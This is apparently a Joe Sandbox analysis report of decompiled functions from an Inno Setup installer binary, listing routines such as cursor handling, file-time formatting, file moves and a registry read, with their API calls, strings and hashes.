Opcode ID: fad32255ec39f5bddde890893f74128ee5b3acd24eff5cd1baab6cb26e04de26
Instruction ID: 89998c4ba19b6db8449fe49ef93fc7c2fb0fa489f5eca5cd6002afcee5c7eb12
Opcode Fuzzy Hash: fad32255ec39f5bddde890893f74128ee5b3acd24eff5cd1baab6cb26e04de26
Instruction Fuzzy Hash: 6111B134B00204AFDB11EFA6CC52A4FB7BDEB89709F108476FD04D7652DA388A44C658

Uniqueness

Uniqueness Score: -1.00%

Function 00456880 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 60
COMMON

Download Yara Rule

C-Code - Quality: 61%

			E00456880(char __eax, void* __ebx, void* __ecx, void* __edx, void* __edi, void* __esi, void* __eflags) {
				char _v5;
				struct HICON__* _v12;
				char _v16;
				void* _t34;
				intOrPtr _t45;
				void* _t49;
				void* _t50;
				intOrPtr _t51;

				_t49 = _t50;
				_t51 = _t50 + 0xfffffff4;
				_v16 = 0;
				_t34 = __edx;
				_v5 = __eax;
				_push(_t49);
				_push(0x4569c4);
				_push( *[fs:eax]);
				 *[fs:eax] = _t51;
				 *0x48df2c = 0;
				 *0x48df30 = 0;
				E00407464(0x48df34, 0xfff, __edx);
				E0042C8BC(_t34, 0xfff,  &_v16);
				E00407464(0x48ef34, 0xfff, _v16);
				_v12 = SetCursor(LoadCursorA(0, 0x7f02));
				_push(_t49);
				_push(0x456938);
				_push( *[fs:eax]);
				 *[fs:eax] = _t51;
				E00456300(0);
				E004566E4(3, 0xfff, 0x2008);
				E00456300(0);
				_pop(_t45);
				 *[fs:eax] = _t45;
				_push(E0045693F);
				return SetCursor(_v12);
			}

0x00456881
0x00456883
0x0045688b
0x0045688e
0x00456890
0x00456895
0x00456896
0x0045689b
0x0045689e
0x004568a6
0x004568af
0x004568c0
0x004568ca
0x004568dc
0x004568f3
0x004568f8
0x004568f9
0x004568fe
0x00456901
0x00456906
0x00456915
0x0045691c
0x00456923
0x00456926
0x00456929
0x00456937

APIs

LoadCursorA.USER32 ref: 004568E8
SetCursor.USER32(00000000,00000000,00007F02,00000000,004569C4,?,?,00000000,0048D628), ref: 004568EE

Part of subcall function 00456300: CloseHandle.KERNEL32(00000000), ref: 00456330
Part of subcall function 00456300: WaitForSingleObject.KERNEL32(00000000,00002710,00000000), ref: 0045635A
Part of subcall function 00456300: GetExitCodeProcess.KERNEL32 ref: 0045636A
Part of subcall function 00456300: CloseHandle.KERNEL32(00000000,00000000,?,00000000,00002710,00000000,00000001,00000000,00002710,00000000), ref: 004563B0
Part of subcall function 00456300: Sleep.KERNEL32(000000FA,00000000,00000000,?,00000000,00002710,00000000,00000001,00000000,00002710,00000000), ref: 004563C9

Part of subcall function 00456300: TerminateProcess.KERNEL32(00000000,00000001,00000000,00002710,00000000), ref: 0045634D

SetCursor.USER32(00000000,0045693F,00000000,00000000,00007F02,00000000,004569C4,?,?,00000000,0048D628), ref: 00456932

Strings

4H, xrefs: 004568D2

Memory Dump Source

Source File: 00000001.00000002.444700726.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.444684381.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444897221.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-2H2P0.jbxd

Similarity

API ID: Cursor$CloseHandleProcess$CodeExitLoadObjectSingleSleepTerminateWait
String ID: 4H
API String ID: 268187739-4226881615
Opcode ID: a44efd9e20f5c45914bd30db5dc309204793f1cee191b25ddb53e94e0834ea89
Instruction ID: 67851fd25c856857a5c091ab00770f849a5380ad850a705b1c67ecbc94730733
Opcode Fuzzy Hash: a44efd9e20f5c45914bd30db5dc309204793f1cee191b25ddb53e94e0834ea89
Instruction Fuzzy Hash: C311CA70B143406FD701BFBA8C5265E7BA9EB49704F8288BFB905D37C2D63C88099B19

Uniqueness

Uniqueness Score: -1.00%

Function 00467170 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 46
timeCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00467170(FILETIME* __eax, void* __edx) {
				char _v8;
				signed int _v12;
				char _v16;
				signed int _v20;
				char _v24;
				signed int _v28;
				char _v32;
				signed int _v36;
				char _v40;
				signed int _v44;
				char _v48;
				signed int _v52;
				char _v56;
				signed int _v60;
				struct _SYSTEMTIME _v76;
				struct _FILETIME _v84;
				void* _t41;
				struct _FILETIME* _t46;

				_t41 = __edx;
				FileTimeToLocalFileTime(__eax, _t46);
				if(FileTimeToSystemTime( &_v84,  &_v76) == 0) {
					return E004035DC(_t41, "(invalid)");
				}
				_v60 = _v76.wYear & 0x0000ffff;
				_v56 = 0;
				_v52 = _v76.wMonth & 0x0000ffff;
				_v48 = 0;
				_v44 = _v76.wDay & 0x0000ffff;
				_v40 = 0;
				_v36 = _v76.wHour & 0x0000ffff;
				_v32 = 0;
				_v28 = _v76.wMinute & 0x0000ffff;
				_v24 = 0;
				_v20 = _v76.wSecond & 0x0000ffff;
				_v16 = 0;
				_v12 = _v76.wMilliseconds & 0x0000ffff;
				_v8 = 0;
				return E00407988("%.4u-%.2u-%.2u %.2u:%.2u:%.2u.%.3u", 6,  &_v60, _t41);
			}

0x00467174
0x00467178
0x0046718e
0x00000000
0x0046720f
0x00467196
0x0046719a
0x004671a4
0x004671a8
0x004671b2
0x004671b6
0x004671c0
0x004671c4
0x004671ce
0x004671d2
0x004671dc
0x004671e0
0x004671ea
0x004671ee
0x00000000

APIs

FileTimeToLocalFileTime.KERNEL32(00000001), ref: 00467178
FileTimeToSystemTime.KERNEL32(?,?,00000001), ref: 00467187

Strings

(invalid), xrefs: 0046720A
%.4u-%.2u-%.2u %.2u:%.2u:%.2u.%.3u, xrefs: 004671FC

Memory Dump Source

Source File: 00000001.00000002.444700726.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.444684381.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444897221.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-2H2P0.jbxd

Similarity

API ID: Time$File$LocalSystem
String ID: %.4u-%.2u-%.2u %.2u:%.2u:%.2u.%.3u$(invalid)
API String ID: 1748579591-1013271723
Opcode ID: e5330b616a1db92e1b923fb42046a1647c40c72cc7645d2c59cbf14929901b6f
Instruction ID: 040e7b09d3ea61fe1a2163efa5d8bd8610466462e14d6e1d46c8e3a29e771093
Opcode Fuzzy Hash: e5330b616a1db92e1b923fb42046a1647c40c72cc7645d2c59cbf14929901b6f
Instruction Fuzzy Hash: CA1103A040C3919ED340CF6A845072BBAE4ABC9718F44496EF9D8D6381E77DC948DB77

Uniqueness

Uniqueness Score: -1.00%

Function 00452832 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 43
COMMON

Download Yara Rule

C-Code - Quality: 66%

			E00452832(void* __ecx, void* __edx, void* __edi, void* __esi) {
				void* _t10;
				void* _t12;
				void* _t25;
				intOrPtr _t32;
				intOrPtr _t33;
				void* _t39;

				_t38 = __esi;
				_t37 = __edi;
				_t26 = __ecx;
				_push(0x20);
				_t25 = E00403880( *((intOrPtr*)(_t39 - 0x10)));
				_push(_t25);
				L00405BDC();
				_t10 = E00406FE4( *((intOrPtr*)(_t39 - 0x10)));
				_t40 = _t10;
				if(_t10 == 0) {
					E00451E44("DeleteFile", _t25, __ecx, __edi, __esi, _t40);
				}
				_push(_t25);
				_t12 = E00403880( *((intOrPtr*)(_t39 - 0x14)));
				_push(_t12);
				L00405B74();
				_t41 = _t12;
				if(_t12 == 0) {
					E00451E44("MoveFile", _t25, _t26, _t37, _t38, _t41);
				}
				_pop(_t32);
				 *[fs:eax] = _t32;
				_pop(_t33);
				 *[fs:eax] = _t33;
				_push(E00452929);
				E00403568(_t39 - 0x30, 2);
				E00403568(_t39 - 0x24, 2);
				return E00403568(_t39 - 0x14, 5);
			}

0x00452832
0x00452832
0x00452832
0x00452832
0x0045283c
0x0045283e
0x0045283f
0x00452847
0x0045284c
0x0045284e
0x00452855
0x00452855
0x0045285a
0x0045285e
0x00452863
0x00452864
0x00452869
0x0045286b
0x00452872
0x00452872
0x00452879
0x0045287c
0x004528ef
0x004528f2
0x004528f5
0x00452902
0x0045290f
0x00452921

APIs

6C8D69D0.KERNEL32(00000000,00000020), ref: 0045283F

Part of subcall function 00406FE4: 6C8D5F60.KERNEL32(00000000,0048D628,0048B356,00000000,0048B3AB,?,?,00000005,?,00000000,00000000,00000000,Inno-Setup-RegSvr-Mutex,?,00000005,00000000), ref: 00406FEF

6C8D6060.KERNEL32(00000000,00000000,00000000,00000020), ref: 00452864

Part of subcall function 00451E44: GetLastError.KERNEL32(00000000,00451EDC,?,?,00000000,00000000,00000005,00000000,00452922,?,?,00000000,0048D628,00000004,00000000,00000000), ref: 00451E68

Strings

MoveFile, xrefs: 0045286D
DeleteFile, xrefs: 00452850

Memory Dump Source

Source File: 00000001.00000002.444700726.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.444684381.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444897221.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-2H2P0.jbxd

Similarity

API ID: D6060ErrorLast
String ID: DeleteFile$MoveFile
API String ID: 581812409-139070271
Opcode ID: 4322ea0ae6c7c29bca73c1464b3547e578e0cc1b6bec92805596b4911c6f8057
Instruction ID: 8f616a6be6905109681539d72543d9f9618ef45f44fc752795df2394f3282eaf
Opcode Fuzzy Hash: 4322ea0ae6c7c29bca73c1464b3547e578e0cc1b6bec92805596b4911c6f8057
Instruction Fuzzy Hash: B5F06D717041056AE700FBA6DD42BAE67E8EB4530AF60443BFC04A3293EA7C9D09852C

Uniqueness

Uniqueness Score: -1.00%

Function 004783A0 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 39
registryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004783A0(void* __eflags) {
				void* _v8;
				int _v12;
				int _v16;
				char _v20;
				void* _t13;

				_t13 = E0042DCB4(0, "System\\CurrentControlSet\\Control\\Windows", 0x80000002,  &_v8, 1, 0);
				if(_t13 == 0) {
					_v12 = 4;
					if(RegQueryValueExA(_v8, "CSDVersion", 0,  &_v16,  &_v20,  &_v12) == 0 && _v16 == 4 && _v12 == 4) {
						 *0x4ae25c = _v20;
					}
					return RegCloseKey(_v8);
				}
				return _t13;
			}

0x004783ba
0x004783c1
0x004783c3
0x004783e8
0x004783fa
0x004783fa
0x00000000
0x00478404
0x0047840c

APIs

Part of subcall function 0042DCB4: 6C8D6790.ADVAPI32(80000002,System\CurrentControlSet\Control\Windows,004783BF,?,00000001,?,?,004783BF,?,00000001,00000000), ref: 0042DCD0

RegQueryValueExA.ADVAPI32(?,CSDVersion,00000000,?,?,?,?,00000001,00000000), ref: 004783E1
RegCloseKey.ADVAPI32(?,?,CSDVersion,00000000,?,?,?,?,00000001,00000000), ref: 00478404

Strings

CSDVersion, xrefs: 004783D8
System\CurrentControlSet\Control\Windows, xrefs: 004783AE

Memory Dump Source

Source File: 00000001.00000002.444700726.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.444684381.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444897221.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-2H2P0.jbxd

Similarity

API ID: CloseD6790QueryValue
String ID: CSDVersion$System\CurrentControlSet\Control\Windows
API String ID: 2325164195-1910633163
Opcode ID: f9b57a2cfb8dc9af6dc7d52a461c6cea895f1a241a33be6a6420614682ac17e1
Instruction ID: ebd8b9a797716e03103ab54bad31a22caa8a2566d27fddc08f785aad15fb8c36
Opcode Fuzzy Hash: f9b57a2cfb8dc9af6dc7d52a461c6cea895f1a241a33be6a6420614682ac17e1
Instruction Fuzzy Hash: 18F04975E40209A6DF10D6D18C49BDF73BC9B04714F1085ABE518E7281FA789A058B59

Uniqueness

Uniqueness Score: -1.00%

Function 0042D838 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 27
COMMON

Download Yara Rule

C-Code - Quality: 77%

			E0042D838(void* __eax) {
				char _v276;
				struct HINSTANCE__* _t5;
				void* _t8;
				void* _t12;

				_t8 = __eax;
				E00403548(__eax);
				_push("GetSystemWow64DirectoryA");
				_t5 = GetModuleHandleA("kernel32.dll");
				_push(_t5);
				L00405A9C();
				if(_t5 != 0) {
					_t5 = _t5->i( &_v276, 0x105);
					if(_t5 > 0 && _t5 < 0x105) {
						return E004036A4(_t8, 0x105, _t12);
					}
				}
				return _t5;
			}

0x0042d83f
0x0042d843
0x0042d848
0x0042d852
0x0042d857
0x0042d858
0x0042d85f
0x0042d86b
0x0042d86f
0x00000000
0x0042d881
0x0042d86f
0x0042d88d

APIs

GetModuleHandleA.KERNEL32(kernel32.dll,GetSystemWow64DirectoryA,?,0045253A,00000000,004525DD,?,?,00000000,00000000,00000000,00000000,00000000,?,004528A9,00000000), ref: 0042D852
6C8D5550.KERNEL32(00000000,kernel32.dll,GetSystemWow64DirectoryA,?,0045253A,00000000,004525DD,?,?,00000000,00000000,00000000,00000000,00000000,?,004528A9), ref: 0042D858

Strings

kernel32.dll, xrefs: 0042D84D
GetSystemWow64DirectoryA, xrefs: 0042D848

Memory Dump Source

Source File: 00000001.00000002.444700726.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.444684381.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444897221.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-2H2P0.jbxd

Similarity

API ID: D5550HandleModule
String ID: GetSystemWow64DirectoryA$kernel32.dll
API String ID: 920177481-4063490227
Opcode ID: 65fc8540a33f14b19a2b60b840795894bc427e8aebf8dfd69cf8a53384edfe8d
Instruction ID: 2f3886f1a94a038449d10b3498d7127d8e9797a980d43385655fd77ae546b746
Opcode Fuzzy Hash: 65fc8540a33f14b19a2b60b840795894bc427e8aebf8dfd69cf8a53384edfe8d
Instruction Fuzzy Hash: 0FE02630F40B5422D31075BA1C8376F118D4B84764FA0053F7AA4E63C2EDBCCA400A6D

Uniqueness

Uniqueness Score: -1.00%

Function 0048B568 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 9
COMMON

Download Yara Rule

C-Code - Quality: 64%

			E0048B568() {
				struct HINSTANCE__* _t1;

				_push("DisableProcessWindowsGhosting");
				_t1 = GetModuleHandleA("user32.dll");
				_push(_t1);
				L00405A9C();
				if(_t1 != 0) {
					return _t1->i();
				}
				return _t1;
			}

0x0048b568
0x0048b572
0x0048b577
0x0048b578
0x0048b57f
0x00000000
0x0048b581
0x0048b583

APIs

GetModuleHandleA.KERNEL32(user32.dll,DisableProcessWindowsGhosting,0048B7DA,00000001,00000000,0048B7FE), ref: 0048B572
6C8D5550.KERNEL32(00000000,user32.dll,DisableProcessWindowsGhosting,0048B7DA,00000001,00000000,0048B7FE), ref: 0048B578

Strings

user32.dll, xrefs: 0048B56D
DisableProcessWindowsGhosting, xrefs: 0048B568

Memory Dump Source

Source File: 00000001.00000002.444700726.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.444684381.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444897221.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-2H2P0.jbxd

Similarity

API ID: D5550HandleModule
String ID: DisableProcessWindowsGhosting$user32.dll
API String ID: 920177481-834958232
Opcode ID: ff3fd83ae6f82ac6f64e81510813527fd5869980979b22b6fcb549de794fba82
Instruction ID: b98143b08d5470dfc2a62f35b387981235197b5dc25cf883adaefec176bf8dcf
Opcode Fuzzy Hash: ff3fd83ae6f82ac6f64e81510813527fd5869980979b22b6fcb549de794fba82
Instruction Fuzzy Hash: 39B00280781A133C991072F24D56B1F4548CC9475DB251E673850F51C6DF6C89416EBE

Uniqueness

Uniqueness Score: -1.00%

Function 00413DC0 Relevance: 6.1, APIs: 4, Instructions: 107
COMMON

Download Yara Rule

C-Code - Quality: 93%

			E00413DC0(intOrPtr* __eax, void* __ecx, signed int __edx) {
				intOrPtr* _t20;
				intOrPtr _t22;
				struct HICON__* _t24;
				intOrPtr _t25;
				intOrPtr _t27;
				intOrPtr _t28;
				struct HWND__* _t30;
				intOrPtr _t31;
				intOrPtr _t32;
				intOrPtr _t34;
				intOrPtr _t43;
				struct HWND__* _t44;
				intOrPtr _t45;
				intOrPtr _t47;
				intOrPtr _t51;
				intOrPtr* _t54;
				void* _t62;
				void* _t71;
				intOrPtr _t72;
				intOrPtr* _t73;
				void* _t79;

				_push(__ecx);
				_t54 = __eax;
				if( *0x48d5f8 != 0) {
					L3:
					if( *0x48d5f8 == 0) {
						_t78 =  *0x48d5fc;
						if( *0x48d5fc != 0) {
							_t43 =  *0x48d5e8; // 0x0
							_t44 = GetDesktopWindow();
							_t45 =  *0x48d5fc; // 0x0
							E00418E30(_t45, _t44, _t78, _t43);
						}
					}
					 *0x48d5f8 = 1;
					_t72 = E00413D68(_t54, _t73);
					_t79 = _t72 -  *0x48d5d8; // 0x0
					if(_t79 != 0) {
						E00413D8C(1);
						 *0x48d5d8 = _t72;
						 *0x48d5dc =  *_t73;
						 *0x48d5ec =  *_t54;
						 *0x48d5f0 =  *((intOrPtr*)(_t54 + 4));
						E00413D8C(0);
					}
					 *0x48d5ec =  *_t54;
					 *0x48d5f0 =  *((intOrPtr*)(_t54 + 4));
					_t62 = E00413D8C(2);
					_t20 =  *0x48d5d0; // 0x0
					_t71 =  *((intOrPtr*)( *_t20 + 4))( *((intOrPtr*)(_t54 + 4)));
					if( *0x48d5fc == 0) {
						_t22 =  *0x48d62c; // 0x2160660
						_t24 = SetCursor(E00423434(_t22, _t71));
					} else {
						if(_t72 == 0 || ( *(_t72 + 0x35) & 0x00000020) != 0) {
							_t25 =  *0x48d5fc; // 0x0
							E00418DDC(_t25, _t71);
							_t27 =  *0x48d5fc; // 0x0
							_t84 =  *((char*)(_t27 + 0x44));
							if( *((char*)(_t27 + 0x44)) != 0) {
								_t28 =  *0x48d5fc; // 0x0
								_t24 = E00418F14(_t28,  *((intOrPtr*)(_t54 + 4)),  *_t54, __eflags);
							} else {
								_t30 = GetDesktopWindow();
								_t31 =  *0x48d5fc; // 0x0
								_t24 = E00418E30(_t31, _t30, _t84,  *((intOrPtr*)(_t54 + 4)));
							}
						} else {
							_t32 =  *0x48d5fc; // 0x0
							E00418F88(_t32, _t62, __eflags);
							_t34 =  *0x48d62c; // 0x2160660
							_t24 = SetCursor(E00423434(_t34, _t71));
						}
					}
					L16:
					return _t24;
				}
				_t47 =  *0x48d5e4; // 0x0
				asm("cdq");
				if((_t47 -  *__eax ^ __edx) - __edx >= 5) {
					goto L3;
				}
				_t51 =  *0x48d5e8; // 0x0
				asm("cdq");
				_t24 = (_t51 -  *((intOrPtr*)(__eax + 4)) ^ __edx) - __edx;
				if(_t24 < 5) {
					goto L16;
				}
				goto L3;
			}

0x00413dc3
0x00413dc4
0x00413dcd
0x00413df6
0x00413dfd
0x00413dff
0x00413e06
0x00413e08
0x00413e0e
0x00413e1b
0x00413e20
0x00413e20
0x00413e06
0x00413e25
0x00413e35
0x00413e37
0x00413e3d
0x00413e41
0x00413e46
0x00413e4f
0x00413e56
0x00413e5f
0x00413e67
0x00413e67
0x00413e6e
0x00413e77
0x00413e88
0x00413e8c
0x00413e96
0x00413e9f
0x00413f0e
0x00413f19
0x00413ea1
0x00413ea3
0x00413ead
0x00413eb2
0x00413eb7
0x00413ebc
0x00413ec0
0x00413ee0
0x00413ee5
0x00413ec2
0x00413ec6
0x00413ecf
0x00413ed4
0x00413ed4
0x00413eec
0x00413eec
0x00413ef1
0x00413ef9
0x00413f04
0x00413f04
0x00413ea3
0x00413f1e
0x00413f22
0x00413f22
0x00413dcf
0x00413dd6
0x00413dde
0x00000000
0x00000000
0x00413de0
0x00413de8
0x00413deb
0x00413df0
0x00000000
0x00000000
0x00000000

APIs

GetDesktopWindow.USER32 ref: 00413E0E
GetDesktopWindow.USER32 ref: 00413EC6

Part of subcall function 00418F88: 6F57B5E0.COMCTL32(00000000,?,00413EF6,?,?,?,?,00413BBB,00000000,00413BCE), ref: 00418FA4
Part of subcall function 00418F88: ShowCursor.USER32(00000001,00000000,?,00413EF6,?,?,?,?,00413BBB,00000000,00413BCE), ref: 00418FC1

SetCursor.USER32(00000000,?,?,?,?,00413BBB,00000000,00413BCE), ref: 00413F04

Memory Dump Source

Source File: 00000001.00000002.444700726.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.444684381.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444897221.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-2H2P0.jbxd

Similarity

API ID: CursorDesktopWindow$Show
String ID:
API String ID: 2074268717-0
Opcode ID: 6546559de08365ef47c6e7563df171fa08e100ddb20537a13f1ad1f73c073373
Instruction ID: f32426dca888e2d56ee745e629d979e7c9b3849a6447fc5aeac6aa2206e082a3
Opcode Fuzzy Hash: 6546559de08365ef47c6e7563df171fa08e100ddb20537a13f1ad1f73c073373
Instruction Fuzzy Hash: 80412C70E012109FC714FF29E9C5A9A7BE5AB45309B14887FE805CB3A5CB38EC81CB18

Uniqueness

Uniqueness Score: -1.00%

Function 00408AE8 Relevance: 6.1, APIs: 4, Instructions: 95
windowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00408AE8(intOrPtr* __eax, void* __edx, void* __eflags) {
				char _v272;
				char _v276;
				intOrPtr _v280;
				char _v284;
				intOrPtr _v288;
				char _v292;
				intOrPtr _v296;
				char _v300;
				char* _v304;
				char _v308;
				char _v312;
				char _v568;
				char _v632;
				char _v636;
				char _v696;
				void* __edi;
				struct HINSTANCE__* _t29;
				struct HINSTANCE__* _t38;
				struct HINSTANCE__* _t49;
				void* _t61;
				intOrPtr _t62;
				intOrPtr _t73;
				intOrPtr* _t74;
				void* _t75;
				void* _t76;

				_t75 = __edx;
				_t74 = __eax;
				_t29 =  *0x48d014; // 0x400000
				GetModuleFileNameA(_t29,  &_v568, 0x100);
				E00407410(_t76, 0x3f, E00407554( &_v568, 0x5c) + 1);
				_t62 = 0x408c64;
				_t73 = 0x408c64;
				if(E00402CE8(_t74, 0x40645c) != 0) {
					_t62 = E00403880( *((intOrPtr*)(_t74 + 4)));
					_t61 = E00407354(_t62, 0x408c64);
					if(_t61 != 0 &&  *((char*)(_t62 + _t61 - 1)) != 0x2e) {
						_t73 = 0x408c68;
					}
				}
				_t38 =  *0x48d014; // 0x400000
				LoadStringA(_t38, 0xff9e,  &_v632, 0x40);
				E00402BE8( *_t74,  &_v272);
				_v312 =  &_v272;
				_v308 = 4;
				_v304 =  &_v696;
				_v300 = 6;
				_v296 = E00408ADC(_t75);
				_v292 = 5;
				_v288 = _t62;
				_v284 = 6;
				_v280 = _t73;
				_v276 = 6;
				E00407954( &_v568,  &_v312,  &_v632, 4);
				_t49 =  *0x48d014; // 0x400000
				LoadStringA(_t49, 0xff9f,  &_v636, 0x40);
				if( *0x48d035 == 0) {
					return MessageBoxA(0,  &_v568,  &_v632, 0x2010);
				} else {
					E0040515C(0x48d208,  &_v568);
					return E00402710(E004050DF(),  &_v312,  &_v568);
				}
			}

0x00408af2
0x00408af4
0x00408b03
0x00408b09
0x00408b26
0x00408b2b
0x00408b30
0x00408b43
0x00408b4d
0x00408b51
0x00408b58
0x00408b61
0x00408b61
0x00408b58
0x00408b72
0x00408b78
0x00408b88
0x00408b94
0x00408b9b
0x00408ba7
0x00408bae
0x00408bbd
0x00408bc4
0x00408bcc
0x00408bd3
0x00408bdb
0x00408be2
0x00408bfc
0x00408c0d
0x00408c13
0x00408c1f
0x00000000
0x00408c21
0x00408c2d
0x00000000
0x00408c37

APIs

GetModuleFileNameA.KERNEL32(00400000,?,00000100), ref: 00408B09
LoadStringA.USER32 ref: 00408B78
LoadStringA.USER32 ref: 00408C13
MessageBoxA.USER32 ref: 00408C52

Memory Dump Source

Source File: 00000001.00000002.444700726.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.444684381.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444897221.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-2H2P0.jbxd

Similarity

API ID: LoadString$FileMessageModuleName
String ID:
API String ID: 704749118-0
Opcode ID: e0cc4281da798df7fe111bb9cd80f3001d0db584bc853989daa63a0f40e91ddb
Instruction ID: 44a86db057f9d63c56723edc699d4c9bad8178255c12b1c4832d910ab8f3ac03
Opcode Fuzzy Hash: e0cc4281da798df7fe111bb9cd80f3001d0db584bc853989daa63a0f40e91ddb
Instruction Fuzzy Hash: A93145706093805FE770EB65C945BDB77E89B86704F04483EB6C8EB2D2DB789904876B

Uniqueness

Uniqueness Score: -1.00%

Function 00488588 Relevance: 6.1, APIs: 4, Instructions: 81
COMMON

Download Yara Rule

C-Code - Quality: 73%

			E00488588(void* __eax, intOrPtr* __edx) {
				intOrPtr _v20;
				intOrPtr _v28;
				intOrPtr _v32;
				struct tagRECT _v48;
				signed int _t26;
				signed int _t27;
				intOrPtr _t32;
				intOrPtr _t33;
				intOrPtr _t34;
				intOrPtr _t35;
				void* _t50;
				signed int _t55;
				signed int _t56;
				void* _t57;
				long _t59;
				intOrPtr _t60;
				long _t61;
				intOrPtr _t62;
				intOrPtr* _t65;
				intOrPtr _t66;
				void* _t67;

				_t67 =  &_v32;
				_t65 = __edx;
				_t50 = __eax;
				_push( *((intOrPtr*)(__eax + 0x30)));
				_push( &_v48);
				_t66 =  *((intOrPtr*)(__edx + 4));
				_t55 =  *((intOrPtr*)(__edx + 0xc)) - _t66 -  *((intOrPtr*)(__eax + 0x30));
				_t56 = _t55 >> 1;
				if(_t55 < 0) {
					asm("adc edx, 0x0");
				}
				_t57 = _t56 + _t66;
				_t64 =  *_t65;
				_t26 =  *((intOrPtr*)(_t65 + 8)) -  *_t65 -  *((intOrPtr*)(_t50 + 0x2c));
				_t27 = _t26 >> 1;
				if(_t26 < 0) {
					asm("adc eax, 0x0");
				}
				E0040AD1C(_t27 + _t64,  *((intOrPtr*)(_t50 + 0x2c)), _t57);
				E00488068(_t67,  &(_v48.right));
				_t32 = _v32;
				_t59 = _v48.left;
				if(_t32 < _t59) {
					OffsetRect( &_v48, _t32 - _t59, 0);
				}
				_t33 = _v20;
				_t60 = _v48.bottom;
				if(_t33 < _t60) {
					OffsetRect( &_v48, 0, _t33 - _t60);
				}
				_t34 = _v32;
				_t61 = _v48.left;
				if(_t34 > _t61) {
					OffsetRect( &_v48, _t34 - _t61, 0);
				}
				_t35 = _v28;
				_t62 = _v48.top;
				if(_t35 > _t62) {
					OffsetRect( &_v48, 0, _t35 - _t62);
				}
				return E00414744(_t50, _t67);
			}

0x0048858c
0x0048858f
0x00488591
0x00488596
0x0048859b
0x0048859f
0x004885a4
0x004885a7
0x004885a9
0x004885ab
0x004885ab
0x004885ae
0x004885b3
0x004885b7
0x004885ba
0x004885bc
0x004885be
0x004885be
0x004885c6
0x004885d1
0x004885d6
0x004885da
0x004885e0
0x004885ec
0x004885ec
0x004885f1
0x004885f5
0x004885fb
0x00488607
